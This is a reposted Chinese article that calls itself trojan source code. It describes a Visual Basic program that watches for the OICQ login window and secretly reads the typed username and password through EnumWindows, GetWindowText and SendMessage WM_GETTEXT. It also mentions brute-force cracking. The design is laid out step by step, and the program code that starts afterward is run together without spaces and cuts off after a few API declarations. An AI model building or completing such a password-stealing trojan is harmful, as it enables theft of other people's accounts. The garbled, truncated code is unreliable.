木马源代码在VB中使用窗口函数截取OICQ帐号密码武汉艾军摘要 本文简单介绍如何采用VisualBasic语言,利用窗口函数截取OICQ帐号密码,并以此说明OICQ存在安全隐串。关键字 密码,窗口函数,即时监视一、引言OICQ从无到有,现在可以说中国的每一个网吧都装有OICQ,每一个上过网的人都用过OICQ,那么OICQ的加密功能倒底怎么样呢,OICQ版本从低到高,其加密功能也越来越强,现在破解OICQ密码的方法大致有:穷举法、直接读取密码文件两种。先说穷举法,对于这种方法OICQ的各个版本,可以说都没有任何的防范的方法,也许他们认为这种破解方法不伤大雅,只要用户在使用OICQ时,把密码设长些就可以。现在像用穷举法进行OICQ***的软件已非常多了,所以破解的原理也就不多说了。再说直接读取密码文件,现在OICQ的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己OICQ号目录的****惯,因此有时这种方法根本无能为力。最后要说的,就是即时监视法,也就是本文章要介绍的,通过窗口函数取得密码的方法(适用任何版本的OICQ)。二、设计思路我们知道OICQ的密码框并没有进行特别的处理,也就是说用可以通过SendMessage发送WM_GETTEXT取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:使用Timer控件,监视OICQ。用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"OICQ用户登录"的标题,取得OICQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),boBox、Edit取得用户名和密码(通过SendMessage发送WM_GETTEXT取得值)。由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:首先取得用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。三、程序编制(完整的程序代码和注释)(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。声明变量、过程及API函数,"kernel32"Alias"CreateFileMappingA"(ByValhFileAsLong,lpFileMappigAttributesAsSECURITY_ATTRIBUTES,ByValflProtectAsLong,ByValdwMaximumSizeHighAsLong,ByValdwMaximumSizeLowAsLong,ByVallpNameAsString)AsLong'创建一个新的文件映射对象PrivateDeclareFunctionCloseHandleLib"kernel32"(ByValhObjectAsLong)AsLong'关闭一个内核对象TypeSECURITY_ATTRIBUTES nLengthAsLong lpSecurityDescriptorAsLong bInheritHandleAsLongEndTypeConstPAGE_READWRITE=1ConstE
木马源代码 来自淘豆网www.taodocs.com转载请标明出处.